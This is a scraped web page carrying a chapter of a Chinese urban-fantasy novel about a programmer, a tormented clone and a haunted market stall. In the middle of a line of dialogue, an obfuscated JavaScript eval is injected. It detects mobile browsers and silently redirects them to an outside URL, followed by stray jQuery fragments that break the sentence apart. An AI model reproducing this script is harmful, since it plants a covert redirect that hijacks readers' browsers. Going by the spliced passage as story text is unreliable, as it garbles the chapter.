默认冷灰
24号文字
方正启体

4. 隔着夜色的双向危机

作者:cat0290本书字数:K更新时间:
    今日新版本上线,「奇点代码」进入一级战备。


    键盘声噼里啪啦,空气里飘着被deadline蒸出来的焦糊味。


    “蓝雅姐!后台登录接口延迟飙红,帮忙dump日志!”


    “收到!”


    蓝雅耳机都来不及摘,十指在键盘上爆出残影。黑色终端里数据洪流倾泻,她瞳孔紧缩,锁定某行日志,喉头泛起铁锈味:“见鬼……压测时明明稳如老狗……”


    “缓存策略雪崩,我清服务端,你重试。”


    ……


    一墙之隔消防通道。


    白夜把自己压在楼梯拐角,手机冷光打在他苍白的脸上。


    他正给「黑塔」技术部编辑消息——


    「奇点代码」对外只招程序员,而他的简历里,连HelloWorld都没写过。唯一的入场券,是让那台古董打印机再“坏”一次。


    消息尚未发送,屏幕骤然熄灭。


    黑暗中,猩红弹窗如血渗出:


    【Zero】


    【你的报告,我读过。】


    文字如钉刺入视网膜,每显现一行,他脊椎里的符文就炽亮一段。


    【“设备磁场紊乱引发的灵能溢散”?“目标周边环境灵能基线正常”?】


    【用B级课本的例句糊弄我?】


    他的沉默裹着痛楚。辩解是奢侈品,而医师从不施舍。


    新文字浮现,优雅得像柳叶刀划开皮肤:


    【理由?】


    问号闪现的刹那,三十六道脊椎符文同步灼亮。


    电击如毒蛇窜上脑干,仿佛有人把烧红的钢针插进骨髓,再慢慢拧转。


    钢针在脊椎里拧到第三圈,白夜视野开始发黑。血腥味先一步涌上喉头,侧头,把一口腥甜硬生生咽回去。嘴角被牙关咬破,血珠滚到唇缝,他抬手抹开,动作冷静得像在擦枪管。


    冷汗顺着鬓角灌进领口,像冰做的蚂蚁。


    颤抖的指尖挣扎着敲击屏幕。


    【观测窗口太短,有效数据不足。】


    【今晚还能再收个“诡核”,至少B+。】


    对面沉默。


    那一分钟里,白夜能听见自己神经纤维燃烧的噼啪声。


    【越来越聪明了。】


    【人性化模拟进度+1。】


    【但记住——】


    【作品若萌生自我意识,就不再是作品,而是待回收的次品。】


    【7号已派往你的坐标。】


    【别让我失望。】


    弹窗与脊椎的银芒同时湮灭。


    白夜沿墙滑坐,混凝土的寒意透过衬衫,啮咬心脏。


    7号。


    他的克隆体。


    不是克隆出的第七个,是第七个有资格成功存活下来的。


    林医生夸他是最成功的作品。说这话时,眼睛里的满意是他从未得到过的。


    白夜把后脑勺抵在墙上,仰头闭眼。


    防火门被指尖勾开一道细缝,泄出的光勾勒出蓝雅的侧影:她的睫毛在屏幕蓝光扑扇,三米无形“屏障”淡淡铺开,像无声的火,可惜他离得太远,暖不到。


    白夜伸手,指尖隔空轻触那道看不见的边界,残余刺痛渐渐被抚平。他低低地笑了一声,声音哑得只有自己能听见:


    “……再成功,也还是有bug。”


    脊椎的灼痛还在细微地搏动。他盯着那道身影,没移开眼。


    ……


    城西老街菜市场。


    秋阳高悬,光线白得晃眼,却照不透满地枯叶。空气里混着干草和腐果的味道,一阵风掠过,卷起碎叶,也卷来莫名的寒意。


    警戒线黄得刺眼,牌子上红字:【下水道爆裂,有毒气挥发,暂时封闭】。警员把看热闹的人统统拦在外圈,口径统一:风大,别呛着。


    线内,十几名穿白色全封闭防护服的人正“打农药”。喷雾器吐出银白雾幕,在阳光下闪出细小彩虹,刺鼻的金属味被秋风撕得七零八落——所过之处,阴冷像退潮似的缩回摊位底下。


    陆峥站在最臭的那个摊前——陈记猪肉。锈案板、油帆布,简易得寒碜,却比冰柜还冷。手里的罗盘式测秽仪疯了一样抖,指针“哒哒哒”敲铜面,红灯闪成一条红线,数值死死钉在“乙级峰值”,再往上半格就要烧机。


    “队长,全场扫完了。”一名队员小跑过来,面罩里透着重重的呼吸声,“只有这个点爆表,浓度是警戒线的三倍,其余地方连丙级都不到。”


    陆峥盯着爆表的红灯,骂了一句:“三倍?被人一刀剁了根儿,昨晚就死透了。”


    他眉心川字更深:“摊主资料?”


    “陈大富,三个月前心梗死。一个月前突然‘复工’,每天傍晚出摊四小时,监控里没人觉得违和。”队员顿了顿,补了句更刺耳的,“死前曾去过红叶温泉山庄。”


    “红叶……”陆峥舌尖顶了下腮帮,垂眼发消息:


    【山鬼,最近有人去你地盘?】


    对面秒回:


    【来了几只兔崽子,被我吓回去了。】


    陆峥“嗯”了声,锁屏。


    有山鬼镇路口,他放心。


    抬眼,目光重新落在猪肉案板——


    闹市腹地,阳气最旺的地段,居然能让乙级秽气落地生根。这可不是普通执念鬼做得到的。


    两个问号悬在头顶:


    谁造就了它?


    又是谁,昨晚把它灭了?


    陆峥抬手按下通讯器,声音冷硬:“天枢总部,这里是城西现场。乙级源头确认,本体已灭,残秽超标,申请灵力封阵七十二小时,彻底拔根。案件编号——“屠夫”,转特级悬案,长期监控。”


    他停了一秒,补刀:“把买过这家肉的人名单全扒出来,借食物中毒名义送疾控筛查,重点盯反复购买的。”


    “收到!”喷雾器继续“嘶嘶”吐雾,秋阳把菜市场照得像正午的手术室。阴冷被一层层剥下,真相被一层层盖上。市民只会记得:今天菜市关门,因为下水道毒气爆了。


    至于那道来无影去无踪的“灭杀”力量——它被秋阳强光抹成空白,留在无人窥见的阴影缝隙里。


    ……


    晚上七点。


    “收工!”蓝雅把最后一mit推上去,像拔掉氧气管一样长出一口气。


    小敏弹簧似的弹起:“火锅!牛骨汤底拯救我的腰间盘!”


    阿光把眼镜往桌上一扔:“十盘毛肚,少一盘我都起不来。”


    背包拉链此起彼伏,椅子被推得东倒西歪,欢呼声把一天的deadline吵成碎成渣。


    秋风卷着枯叶在写字楼外打旋,夜色早已吞噬最后一丝天光,路灯六点就亮了,此刻照得街面一片暖黄。


    蓝雅和小敏说笑着,前脚刚跨出玻璃门,后脚还来不及吸气——


    “蓝小姐?”两个白衬衫并排挡道,胸牌上「市食品安全专项溯源组(天枢事务组)」的字样映着路灯的光,“我们是市食品安全专项溯源组,您购买过问题猪肉,请跟我们去做个血样筛查。”


    严肃的文件递到她鼻尖,市场监管局和卫健委的联合公章一应俱全,像一张合法捕鼠夹。


    项目组同事陆续出来,拉链声、背包声一下子静了。十几双眼睛落在她身上——下班高峰的门口,谁也不想跟“瘟猪”两个字扯上关系。


    蓝雅心里骂娘:十分钟前才从deadline火线上爬出来,现在又被盖章成“潜在毒源”。


    “能拒绝吗?我最近没买过猪肉,只昨天买过一丁点龙骨。”她用拇指和食指捏出个精确到毫米的间隙。


    对方微笑,露出标准八颗牙:“不配合我们会直接移交市场监管部门跟进,后续出现健康问题所有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286065|198444||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    责任自负。”


    秋风顺着袖口灌,蓝雅打了个哆嗦,无奈回头冲同事摆手:“你们去吧,我赶下次。”


    话音没落,她就被两人“请”进路边停着的专项采样专用车,车门“砰”地合上,玻璃映出她欲哭无泪的脸。


    小敏往前跟了两步,又缩回去。


    街对面,火锅店招牌还远,霓虹灯在冷风里一闪一闪,像另一个世界。


    白夜从阴影里析出,刚要抬脚,却先一步顿住,手机振动:


    【书香苑小区,三栋,502——seven。】


    他看了眼冷链车消失的方向,又看了眼手机屏幕。


    转身,走进暗巷。


    ……


    制冷机嗡嗡地蹲在座椅底下,把寒气顺着裤脚一路吹到尾椎。


    蓝雅把脖子往卫衣里缩,兜帽也戴上。窗外霓虹飞逝,路灯的间距被拉得越来越长,光斑连成模糊的虚线,很快被连片的工厂吞没。


    “咔嚓——”


    后车门向外掀开,白雾裹着消毒水与铁锈的腥甜味,劈头盖脸地扑了她满脸。


    「专项事件定点筛查中心」几个大字钉在独栋小楼的墙面上,字体是方正黑,冷白涂料反光,像给夜色贴了层磨砂膜。所有窗户都糊着内贴,灯再亮,也只透出被稀释的奶光。


    两位白衬衫早就在台阶下等着,戴着口罩也遮不住压迫感。


    “蓝小姐,里边请。采样很快的,不耽误您回家。”


    语气客气得像自动门感应器,却带着不容后退的弹力。


    ——


    大厅比车站候车室还满。


    哭声、咳嗽声、手机外放短视频的笑声,一层层叠加,把天花板压得更低。


    蓝雅一眼扫到角落:早上担架后跟着的女人正端着一次性纸杯,脸色回光返照似的红润。小女孩枕在她腿上,抱着毛毛虫面包啃得小心翼翼。硬币大的瘢痕还在,却像被橡皮轻轻擦淡了一层铅笔印——


    也许是冷白灯管的仁慈,也许不是。


    蓝雅脚下一顿,想过去,白衬衫的指尖已经虚搭在她肘弯,方向被轻轻扳正:“采样区在这边。”


    沿途过道成了临时病床:


    青紫的嘴唇、摁着腹部的手、滑到鼻尖的口罩、长椅上蜡黄的脸——


    “先治我啊……我儿子吃公家饭的……”


    大爷的喃喃声像坏掉的广播,一遍遍飘在过道。


    ——


    采样室的门自动合拢,把噪音切成两半。


    护士服是淡雾霾蓝,口罩拉到鼻梁,声音从布料里滤出来:“蓝雅,陈记猪肉摊,龙骨。身份证给我。”


    她没抬头,指尖在键盘上敲出回车键的脆响。


    橡胶止血带“啪”地缠住上臂,酒精棉擦过,凉得发苦。


    针尖推进去的一秒,蓝雅余光瞥见背后的仪器屏幕——


    绿色曲线像被谁拎起脖子,陡然冲高,又“咻”地落回地平线,全过程不到半心跳。


    护士的眉尾极其轻微地抽搐了一下,那表情像是在读取某种未知数据,但转瞬即逝,脸上迅速恢复了那种毫无波澜的、仿佛被预设好的平静。


    血被抽进透明真空管,液体在灯下像一颗刚剖开的石榴籽。


    “编码07C-19,恒温。”


    她回身打开箱子,冷气“呲”地溢出来。


    几十支试管排成方阵,大多数血液已经蒙上灰黑雾翳,像被偷偷掺了铅粉。


    只有蓝雅那根管子红得晃眼。


    她眉心一跳:“怎么,别人抽静脉,我抽的是动脉?”


    “出去等,一小时后拿结果。”


    蓝雅很生气,她也只能生气。


    门再次自动滑开,蓝雅被礼貌地请回嘈杂的人海。


    中央空调已最大功率供热,大厅里却依旧阴冷,唯那半径三米内,还留着一点暖意。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)